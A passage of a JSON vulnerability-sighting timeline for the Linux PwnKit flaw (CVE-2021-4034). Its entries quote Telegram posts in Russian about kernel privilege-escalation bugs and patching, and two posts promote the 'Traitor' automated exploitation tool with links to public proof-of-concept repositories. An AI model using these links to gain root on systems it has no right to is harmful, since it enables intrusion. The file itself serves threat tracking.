"MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "52fe8822-fd4d-471d-b750-3fdd18bda091"}, {"timestamp": "2023-06-23T06:24:08Z", "date_only": false, "value": "2023-06-23T06:24:08.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ad5af8e7-0c4c-4b64-b36d-1c80910c1140", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4e8bddac-d90c-43c2-80c3-cdda7745af31"}, {"timestamp": "2023-08-10T10:37:49Z", "date_only": false, "value": "2023-08-10T10:37:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/pt_hat/128", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "767cbfb1-27c8-44b2-977c-b97e033da550", "content": "https://github.com/berdav/CVE-2021-4034", "url": "https://t.me/pt_hat/128"}, {"timestamp": "2023-09-21T09:19:24Z", "date_only": false, "value": "2023-09-21T09:19:24.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/avleonovrus/80", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d276b8a9-dc0e-4f82-b328-93f4092c4c96", "content": "\u0412 \u043f\u043e\u043b\u043a\u0443 Linux \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u0434\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e root-\u0430 \u043f\u0440\u0438\u0431\u044b\u043b\u043e. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c DirtyCred (CVE-2021-4154 - \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0430\u044f, \u0435\u0441\u0442\u044c PoC; CVE-2022-2588 - \u0441\u0432\u0435\u0436\u0430\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 PoC-\u0430). 8 \u043b\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043b. \u0418\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0430\u043b\u0438 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438, \u043d\u043e \u043f\u043e\u043c\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0438. \u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e NVD \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u043e\u0440\u043c\u043e\u0437\u0438\u0442 \u0438 \u0442\u0430\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442, \u043d\u043e \u043e\u043d \u0432\u043e \u0432\u0441\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \n\n\u0421\u0443\u0434\u044f \u043f\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044f\u0434\u0440\u0430, \u043f\u043e\u0445\u043e\u0436\u0430\u044f \u043d\u0430 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0443\u044e Dirty Pipe (CVE-2022-0847), \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0443\u0447\u0435, \u0442.\u043a. \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0435\u0435:\n\n\"The novel exploitation method, according to the researchers, pushes the dirty pipe to the next level, making it more general as well as potent in a manner that could work on any version of the affected kernel.\"\n\n\u0418 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0435 \u0441\u043f\u0430\u0441\u0430\u0435\u0442:\n\n\"Second, while it is like the dirty pipe that could bypass all the kernel protections, our exploitation method could even demonstrate the ability to escape the container actively that Dirty Pipe is not capable of.\"\n\n\u041d\u0443 \u0438 \u0442\u0430\u043a-\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432 Linux root-\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e. \u0418\u0437 \u0433\u0440\u043e\u043c\u043a\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0435\u0449\u0451 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c Dirty Cow (CVE-2016-5195 - \u043e\u0431\u0430\u043b\u0434\u0435\u0442\u044c \ud83d\ude31, 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434, \u043f\u043e\u043c\u043d\u044e \u043a\u0430\u043a \u0432\u0447\u0435\u0440\u0430 \u043a\u0430\u043a \u0442\u0435\u0441\u0442\u0438\u043b) \u0438 Qualys-\u043e\u0432\u0441\u043a\u0438\u0435 PwnKit (CVE-2021-4034) \u0438 Sequoia (CVE-2021-33909).\n\n\u0410 \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c? \u0418\u043c\u0445\u043e, \u043f\u0430\u0442\u0447\u0438\u0442\u044c. \u041b\u0443\u0447\u0448\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u0432 \u043f\u043e\u0436\u0430\u0440\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u041d\u043e \u0435\u0441\u043b\u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 Linux-\u043e\u0432 \u043d\u0435\u0442, \u0442\u043e \u043b\u0443\u0447\u0448\u0435 \u0440\u0430\u0437\u043e\u0432\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u043c\u0430\u0445\u0430\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e (\u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u044b\u043c\u0438 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430\u043c\u0438) \u043a\u0430\u043a \u0444\u043b\u0430\u0433\u043e\u043c. \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0436\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0434\u043d\u043e \u043a\u0430\u043a\u0438\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u0433\u0434\u0435-\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u0435\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0441 \u043d\u0430\u0441\u043a\u043e\u043a\u0430.\n\n\u041d\u0443 \u0438\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u043f\u0430\u0442\u0447\u0438\u0442\u044c, \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u043e (\u0432\u0440\u043e\u0434\u0435) \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u043e, \u0430 \u0433\u0434\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u043e, \u0442\u043e \u0442\u0430\u043c \u043d\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0438\u043b\u0438 \u0442\u0443\u0434\u0430 \u043d\u0435 \u0434\u043e\u0431\u0435\u0440\u0443\u0442\u0441\u044f. \u0418 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0435 \u0432\u044b\u0431\u0435\u0440\u0443\u0442\u0441\u044f. \u0418 \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c EDR \u043d\u0430 \u043b\u0438\u043d\u0443\u043a\u0441\u0430\u0445. \u0418 \u0435\u0449\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u043d\u0434\u0430\u0442\u043a\u0443 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c. \n\n\u041d\u043e, \u0438\u043c\u0445\u043e, \u043e\u0446\u0435\u043d\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438,  \u0445\u0430\u0440\u0434\u0435\u043d\u0438\u043d\u0433 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0421\u0417\u0418 \u0434\u043b\u044f Linux-\u043e\u0432 \u044d\u0442\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0432\u0441\u0435  \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u044d\u0442\u043e \u043f\u0430\u0442\u0447\u0438\u043d\u0433 \u0438 \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0441 \u043d\u0438\u043c. \n\n@avleonovrus #Linux #Kernel #EOP #DirtyCred", "url": "https://t.me/avleonovrus/80"}, {"timestamp": "2023-09-21T09:32:05Z", "date_only": false, "value": "2023-09-21T09:32:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/avleonovrus/9", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4bccd219-23b7-40a6-b6aa-68a473476a11", "content": "\u0422\u0443\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u043e\u043c \u0438\u0437 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u043e\u0432 \u0438 \u0442\u0430\u0439\u043c\u0438\u043d\u0433. \u0412\u0441\u0435 \u0432 \u0434\u0435\u043b\u043e \ud83d\ude0a   https://youtu.be/jgKK9ovlNFU \n\nActive Vulnerabilities\n\n01:31 \ud83d\udd34 \u201cCISA warns of hackers exploiting PwnKit Linux vulnerability (CVE-2021-4034)\u201d by BleepingComputer\n// \u041d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0446\u0430\u043c \u044d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u0430\u0442\u0447\u0438\u0442\u044c.\n03:14 \ud83d\udd34 \u201cAtlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)\u201d by Qualys\n// \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 Qualys \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 OGNL Injection, RCE Payload, Exploit POC, Exploit Analysis \u0438 Source Code Analysis. \u042d\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f. \u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043a\u0430\u043a \u0442\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u0442. \n\nData sources\n\n05:27 \ud83d\udfe0 \u201cNew Vulnerability Database Catalogs Cloud Security Issues\u201d by DarkReading & Wiz\n// \u041d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0443\u0436\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445. \u041a\u0430\u0436\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043e\u0444\u043e\u0440\u043c\u0438\u0442\u044c \u043a\u0430\u043a CVEs. \u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u0443 \u043c\u043d\u043e\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u044d\u0442\u043e\u0439 \u0431\u0430\u0437\u0435 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c CVE IDs. \u041d\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0430 \u0445\u043e\u0440\u043e\u0448\u0430\u044f. \u041b\u0438\u0448\u043d\u0438\u0439 \u0440\u0430\u0437 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0443 MITRE \u0438 NVD \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b. \n\nAnalytics\n\n07:23 \ud83d\udfe2 \u201cMITRE shares this year\u2019s list of most dangerous software bugs (CWE Top 25)\u201d by BleepingComputer\n// \u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043f\u0440\u0430\u0432\u0434\u0443, \u0445\u043e\u0442\u044f 'OS Command Injection' \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0432\u044b\u0448\u0435. \u041d\u0443 \u0438 \u043d\u0430\u0434\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c, \u0447\u0442\u043e CWE \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u0438\u0441\u0432\u0430\u044e\u0432\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0443\u0442 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041d\u043e \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u043e. \n09:06 \ud83d\udfe0 \u201cCyberattacks via Unpatched Systems Cost Orgs More Than Phishing\u201d by DarkReading & Tetra Defense\n// \u0425\u043e\u0440\u043e\u0448\u0435\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435: \"Data on successful compromises can help companies determine the most critical attack vectors to address, but it should be noted that the conclusions depend greatly on the specific incident-response firm\". \u041d\u043e \u0442\u043e, \u0447\u0442\u043e MFA \u0438 \u043f\u0430\u0442\u0447\u0438\u043d\u0433 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e - \u043d\u0435 \u043f\u043e\u0441\u043f\u043e\u0440\u0438\u0448\u044c.\n11:07 \ud83d\udd34 \u201cZero-Days Aren\u2019t Going Away Anytime Soon & What Leaders Need to Know\u201d by DarkReading & Arctic Wolf\n// \u041d\u0443, \u0432 \u0446\u0435\u043b\u043e\u043c \u043d\u0435 \u043f\u043e\u043f\u043e\u0440\u0438\u0448\u044c. \u041c\u043e\u0451 \u043c\u043d\u0435\u043d\u0438\u0435 - \u043f\u043e\u043a\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e, \u0434\u0443\u043c\u0430\u0442\u044c \u043e Zero-Days \u043f\u0440\u0435\u0436\u0434\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e. \u0410 \u0442\u0430\u043a, \u044d\u0442\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430\u0434\u0430\u0447\u0430 SOC.\n\nVM vendors write about Vulnerability Management\n\n13:57 \ud83d\udfe1 \u201cWhy We\u2019re Getting Vulnerability Management Wrong\u201d by DarkReading & Rezilion\n// \u042d\u0442\u043e \u0434\u0430\u0432\u043d\u0438\u0448\u043d\u0438\u0439 \u0441\u043f\u043e\u0440: \u0441\u0442\u043e\u0438\u0442 \u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0444\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d? \u041d\u0443 \u0438 \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0430 \u044d\u0442\u043e \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u0434\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0441\u043e\u0444\u0442 \u0432\u0434\u0440\u0443\u0433 \u043d\u0435 \u043d\u0430\u0447\u043d\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c\u0441\u044f. \u041d\u043e \u0435\u0441\u043b\u0438 \u0431\u0443\u0434\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432 \u0441\u043e\u0444\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0438\u043b\u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0442\u043e \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0438\u0441\u043f\u0442\u043e\u0447\u043d\u0438\u043a \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438. \u041f\u043e\u0447\u0435\u043c\u0443 \u0431\u044b \u0438 \u043d\u0435\u0442. \u0425\u043e\u0440\u043e\u0448\u043e, \u0447\u0442\u043e Rezilion \u044d\u0442\u043e \u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0438\u0432\u0430\u044e\u0442. \n16:41 \ud83d\udd34 \u201cRisk-based Remediation Powered by Patch Management in Qualys VMDR 2.0\u201d by Qualys\n// \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0434\u0430\u0432\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0447\u0442\u043e \u0436\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0432 Qualys Vulnerability Management, Detection and Response. \u0412 \u0446\u0435\u043b\u043e\u043c, \u044d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 Tenable vulnerability priority rating (VPR). \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435 \u0438 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a \u0436\u0435. \u041d\u043e \u043f\u0440\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 TruRisk \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0433\u0434\u0435-\u0442\u043e \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043c\u0435\u0441\u0442\u0435. \u042f \u0441\u043e\u0433\u043b\u0430\u0441\u0435\u043d \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0444\u043e\u043a\u0443\u0441 VM \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430 Remediation \u0438 \u0445\u043e\u0440\u043e\u0448\u043e, \u0447\u0442\u043e Qualys \u043f\u0440\u043e\u0434\u0432\u0438\u0433\u0430\u044e\u0442 \u044d\u0442\u0443 \u0442\u0435\u043c\u0443. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043b\u0438 \u043e\u0431\u044a\u0435\u043c \u043d\u043e\u0432\u044b\u0445 \u0444\u0438\u0447, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e VMDR 2.0? \u041f\u043e\u043a\u0430 \u044d\u0442\u043e \u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0442\u0430\u043a. \u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0431\u044b Remediation \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f 100% \u0445\u043e\u0441\u0442\u043e\u0432 (\u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043a \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0430\u0442\u0447\u0430), \u0442\u043e \u0442\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0431\u044b 2.0. \u041d\u043e \u043c\u0430\u0440\u043a\u0435\u0442\u043e\u043b\u043e\u0433\u0430\u043c Qualys \u0432\u0438\u0434\u043d\u0435\u0435. \n20:37 \ud83d\udfe2 \u201cModern IT Security Teams\u2019 Inevitable Need for Advanced Vulnerability Management\u201d by Threatpost & Secpod\n// \u0414\u0430\u0435\u0442\u0441\u044f \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043d\u0443\u0436\u0435\u043d Advanced Vulnerability Management \u043e\u0442 Secpod. \u0412 \u0446\u0435\u043b\u043e\u043c, \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043f\u0440\u0430\u0432\u0435\u0434\u043b\u0438\u0432\u044b\u0439 \u0438 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 vulnerabilities beyond CVEs \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043c\u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c. \n22:25 de-Westernization of IT\n\u0441\u043c.\u0432\u044b\u0448\u0435 https://t.me/avleonovrus/3\n\n#VulnerabilityManagement #InformationSecurity\n\n@avleonovrus #VMnews", "url": "https://t.me/avleonovrus/9"}, {"timestamp": "2023-09-26T09:46:31Z", "date_only": false, "value": "2023-09-26T09:46:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LearnExploit/5529", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "abc80c66-3775-4698-9030-ae28b03d8abd", "content": "Traitor - Exploit Low-Hanging Fruit Automatically\n\n- Nearly all of GTFOBins\n- Writeable docker.sock\n- CVE-2022-0847 (Dirty pipe)\n- CVE-2021-4034 (pwnkit)\n- CVE-2021-3560\n\nGithub\n\n#Linux #Exploit #Tools \n\u2014\u2014\u2014\u2014\u2014\u2014\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/5529"}, {"timestamp": "2023-09-26T19:41:26Z", "date_only": false, "value": "2023-09-26T19:41:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3136", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "2f19b169-a924-4aef-8cfe-98a9f8ddfd12", "content": "Traitor - Exploit Low-Hanging Fruit Automatically\n\n\ud83c\udfa9 Nearly all of GTFOBins\n\ud83c\udfa9 Writeable docker.sock\n\ud83c\udfa9 CVE-2022-0847 (Dirty pipe)\n\ud83c\udfa9 CVE-2021-4034 (pwnkit)\n\ud83c\udfa9 CVE-2021-3560\n\n\nhttps://github.com/liamg/traitor", "url": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3136"}, {"timestamp": "2023-10-18T00:16:44.133Z", "date_only": false, "value": "2023-10-18T00:16:44.133Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / redhat", "record": "cve-2021-4034", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-10-18T01:15:00Z", "date_only": false, 